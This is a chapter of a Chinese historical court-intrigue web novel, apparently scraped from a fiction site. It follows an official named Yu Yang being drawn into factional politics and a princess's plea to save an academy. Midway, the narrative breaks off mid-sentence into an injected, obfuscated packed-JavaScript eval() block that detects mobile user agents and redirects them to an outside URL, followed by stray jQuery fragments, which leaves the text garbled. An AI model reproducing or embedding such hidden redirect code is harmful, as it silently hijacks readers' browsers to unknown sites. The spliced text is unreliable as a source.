文趣网 > 其他小说 > 喻姑娘今日升官发财了吗 > 87. 即墨朝
    喻扬望着他,忍不住咽了咽口水:“为……为何突然与我说这些?”

    祁归意味深长地望了她一眼,继续说道:“太后摄政虽只有三年,但收获不少党羽。圣上登基之时,羽翼尚未丰满,这些年不断地收拢各方势力,所以去年才会举办武考。而你……”

    他话音骤顿,看向她的眼神十分复杂。喻扬被他瞧得心头猛跳,忍不住绕过书案,蹲在他身侧,压低声音问道:“司使快别卖关子了,我怎么了?我可什么也没干啊!”

    “太后开女子恩科,有意培植势力,但至今无女子中榜,想来也苦恼许久。偏偏去岁有女子从武考中脱颖而出,你猜太后会不会撬动这块砖石?”他低声说道,目光缓缓掠过她惊愕的神情,心中微动。

    “我?可是我不过一个小小司直,面圣机会都没有……”

    “正因如此,今早议会才有官员借你之事论上官明之过,而那人是太后手下的人。”

    几个时辰前,一张急送出宫的帖子将诸位朝臣唤进了宫。众人对上官明于兴安门前请罪一事皆有耳闻,故而入议政阁时,众人皆是神色严肃。

    圣上问众臣此法该如何定,此事该如何决。

    有人进言,上官明之举已属违律,该依律惩处。

    有人认为,法理之外应有人情,上官明虽是违律,但其受世俗所迫,不得已而为之,可小惩大诫。

    还有人说,女子恩科本就无人能中,正因开了女子恩科,才致上官明心生贪念,试图乞求圣上太后仁心,平违律之实。

    然而,引起满堂骤静的,还是太后党羽蓝常平。

    他态度谦卑,却目光精明,走上前向圣上行礼后,便言道:“臣认为,此事无论是罚是恕,皆会引起动荡。”

    “蓝侍郎贯会和稀泥,你倒是说说会有何动荡啊?”朝臣中,不知何人在阶下囔了一句。

    只见蓝常平面色如常:“圣上,当年太后开女子恩科,也取得玄宗与天昭诸位先皇同意,实属天意之举,要说是此举致使今日之事,臣觉荒谬。百官高坐朝堂,家中有妻女操持,自是无忧。可天下乾坤,阴阳两分,女子也该立足天地。臣入仕前有位好友,正在明理书院教学,臣与他每每相见,他都与臣提及上官明,言其胸藏经纬,腹有乾坤,乃栋梁之才。若因此而失去国之栋梁,实乃大憾。”

    他话音一顿,扭头望向角落,“今日百庚司的祁司使也在场,诸位不如问问他。他手下有位司直,乃去岁武考第二,以女子之身,能敌英国公副尉曹崇。短短两月勘破数案,实在有勇有谋,在场诸公,颇有不及。”

    “蓝常平!你莫太过分!”

    “肃静!”圣上厉喝一声,冷眼闪过所有人,最后目光停顿在角落中那道削瘦修长的绯红色身影上。

    “祁爱卿,此事你如何看?”

    祁归垂首,缓缓走出队列,他不卑不亢地行礼:“回圣上,臣认为蓝侍郎所说不无道理。既开女子恩科为天意,那便不该逆天道行之。上官明此举,也是天下人所观。她背负家族荣辱,父母期望,不得不伪装身份以全孝道。若对其严惩,恐失民心。但也不能轻拿轻放,否则会致使天下人群而效仿,无视律法。臣以为当罚,但念其为天下女子表率,该赦其继续科举。”

    -

    喻扬错愕地眨了眨眼,搭在圈椅上的手不由收紧,“你是说,我被人当枪使了?”

    祁归扫了眼被她抓入掌心的衣袖,眸光微暗:“太后私下见了上官明,她手下的蓝常平又在大殿上炫耀你的功绩,诸人只会以为你是太后党羽。”

    然而眼下圣上太后两党正在争夺实权……

    喻扬心中一凉,面露悲色:“我什么也未做啊……”

    “所以司直近日行事要谨慎小心,莫再……随心而为了。”他斟酌了片刻,终究未将肆意妄为四字说出口。

    喻扬神色一僵,面露几分心虚,眼底却是倔强地冒出几分不服气:“我那是为民除害……”

    “御史台的眼睛如今都盯着百庚司,司直行事定要三思而后行。”他再次提醒道。

    “知道了知道了,我去抄书了!”她站起身,走回书案前。

    祁归的目光缓缓下移,落在被她抓皱的衣袖,终是无奈地轻叹口气。

    棱角尖锐的硬石,需要经年累月的打磨才能变得圆滑。

    寂静的屋中,喻扬一手撑着脑袋,一手持着笔杆,百无聊赖地抄着最后四遍断狱令,渐渐地便觉头脑昏沉,眼皮沉重,手中的笔也开始不听使唤地在纸上乱飞。

    “司直。”上首冷不丁传来一道清冷的声音。

    喻扬猛地清醒,侧头看去,猝不及防对上一双冷清清的黑眸。

    祁归放下手中书卷,忍不住笑:“司直睡眠不好吗?”

    她讪讪收回目光,瞥见鬼画符般的一张纸,惊吓一跳,立即将这张纸揉成团,丢入一旁的炭盆中“毁尸灭迹”。

    “没有啊,我睡的挺好的。”

    倒也不是喻扬自夸,她身体好,吃得多睡得好,即便查案时只能睡两个时辰,她也能生龙活虎。

    “那司直为何每每抄书便困?”

    “那我怎知……”她小声嘟囔了句。

    “只剩四遍,司直若今日抄完,明日便不必再来了。”

    “嗯嗯,我努力!”她点着头,重新取出一张信纸,认真地抄写起来。

    适时,门外轻响起叩门声,“公子,县主来了。”

    县主?哪位县主?喻扬转头去看祁归。

    “请县主进来。”

    不多时,一个身着水红色襦裙,外搭杏色兔毛褙子的少女脚步匆匆地赶了进来。

    “表哥……”她急切地进门,却在瞧见屋中的第三人时,顿时收了声。

    “这是百庚司司直喻扬,你怎么来了?”祁归搁下手中的笔,坐直身子看她。

    即墨朝立于屋中,欲言又止,眼神却不断地瞥向一旁的喻扬。

    在来百庚司之前,她便去过恒国公府,知晓近来这段时间表哥与一位司直关系甚密,明理书院的案子便是她

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17813354|209947||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    破的。可她终究是外人,表哥却没有赶人走的意思……

    喻扬睁着一双圆润地大眼,在屋中二人身上来回游走。何意?他们都在看自己是什么意思?

    “该知道的喻司直都知道,县主不必担心。”祁归温声说道。

    即墨朝这才松了口气:“圣上打算关了明理书院。”

    祁归眉心微皱:“何时决定的?”

    晨时议政,竟毫未听说!

    “方才一听见宫中的消息,我便赶来寻表哥了。表哥也知道,父王建立明理书院,是为天下寒门学子能科举入仕提供机会,这是父王的心血。父王已离去五年,我……我不能眼看他的心血被毁。”

    祁归沉吟片刻,问道:“近些年明理书院是何人在打理?”

    “全交由山长打理了,他是父王在世时亲自选的,所以我与阿娘都未对此伤心。我听闻明理书院的案子后,便觉察不对,派人调查,不曾想他……私下贪污受贿,对书院中的霸凌之事不闻不问。”

    当年瑾王亡故后,朝中便有大臣提议撤除明理书院。但因那年书院横空出世一位江砚,夺得科举状元,此事才被堪堪揭过。如今明理书院发生命案,朝中又有人蠢蠢欲动,将目光盯在书院上。

    “上官明之事你可听说了?”祁归问道。

    即墨朝轻轻颔首。

    “当年圣上登基,便有人提过此事。但那年春闱江砚高中状元,明理书院名声大振。若今年春闱上官明能以女子之身中举,或许尚可就书院一次。”

    即墨朝面露几分犹豫:“这……真行得通吗?”

    祁归面色严肃,“我会进宫面圣,探探圣上口风。但这几年明理书案风气败坏,县主还应好好处理。”

    “我知道,这都怪我。父王离世后,阿娘便一病不起,懿儿尚且年幼,我身为王府长女该好好管理书院的。”

    “县主也莫过于自责,先回去歇息吧,若有消息,我会派人传信与你。”

    即墨朝愣愣点着头,瞧了眼他冰冷的脸,也关切道:“表哥也要注意身子。”

    言罢,她向祁归福了一礼,临走前还是打量了眼喻扬。

    “司使要进宫?”喻扬望着祁归起身,语气间藏不住的雀跃。

    她想偷懒的心思昭然若揭,祁归忍不住叹气:“是,司直最好莫偷懒,算算时辰,下值前司直最少能抄完三遍。”

    喻扬笑意一僵,心中那点躁动猛地便被泼了一盆冷水,瞬间湮灭,“哦,知道了。”

    祁归立即起身进宫,直至下值了,也未见他归来。

    上司不在,喻扬乐得清闲,抄过一遍断狱令,便丢下笔墨,溜出门了。

    她先是回值房和陆尧霜扯了几句话,又去后院看蒋弋训新人,还与新人闲谈了大半日,这才溜溜达达地下值归家了。

    夜半时分,喻扬正撸着两只袖子,在院中劈柴。门外忽地响起一道叩门声。

    “谁啊?”

    她提着劈柴刀,打开门,眼前映入祁归那张白玉般的脸。